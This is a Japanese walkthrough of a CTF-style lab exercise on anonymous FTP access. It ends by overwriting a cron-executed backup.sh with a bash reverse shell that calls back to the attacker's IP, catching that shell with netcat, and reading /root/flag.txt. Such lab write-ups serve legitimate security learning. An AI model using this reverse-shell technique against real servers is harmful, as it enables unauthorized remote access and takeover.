はじめに

今回は基本的なftpサーバへの接続方法やコマンドを学ぶ章になっています。
また、設定の不備によってftpからシェルを奪取する基本的な方法について学ぶことができます。

Anyone can be Santa!

Name the directory on the FTP server that has data accessible by the “anonymous” user

FTPサーバー上の、anonymousユーザーがアクセスできるデータを持つディレクトリの名前

まずはftpコマンドでインスタンスに接続します。

1

ftp 10.10.xxx.xxx

名前を聞かれるのでanonymousユーザでログインします。
そして中身を確認して1問目は終了です。

1

ftp>ls

What script gets executed within this directory?

このディレクトリの中で、どのようなスクリプトが実行されるのでしょうか？

先程のanonymousユーザがアクセスできるディレクトリにあるスクリプトを確認して終了です。

What movie did Santa have on his Christmas shopping list?

サンタがクリスマスの買い物リストに入れた映画は？

こちらもpublic配下にあるファイルから取得できます。

1
2

ftp>cd public
ftp>get xxxxxxxxxxxx.txt

Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!

このスクリプトを悪意のあるデータを含むように再アップロードする（9.6節で行ったのと同じように。/root/flag.txtの内容を出力してください!

まずは、スクリプトをGetしてきます

1

ftp>get backup.sh

このバックアップスクリプトは定期的にcron実行されるのではないかとあたりをつけ、手元で中身を変えたあと、再度ftpサーバにputします

1
2
3

#!/bin/bash

bash -i >& /dev/tcp/10.11.xxx.xxx/4242 0>&1

このReverse ShellのスクリプトはPayloadsAllTheThingsに記載されています。
IPアドレスは自分のIPアドレスを記載してください。

その後、書き換えたbackup.shをftpサーバ上に再度あげます

1

ftp>put backup.sh

定期的にbackup.shが実行されることを期待して、こちらでListenしておきます。

1

nc -lvnp 4242

1分ほど放置していると、無事bashが帰ってきていることを確認できます。
それでflagを取得して終了です。

おわりに

今回は基本的なftpサーバへの接続方法やコマンド類、また設定の不備からシェルを奪取する方法について学びました。
今回の最後の問題から少し考えさせられるような問題が来ましたが、分からない部分は記述してある文章をよく読めば解けるようになっているので、OSCPライクなマシンの攻略を考えている人の最初のとっかかりになる問題だと思います。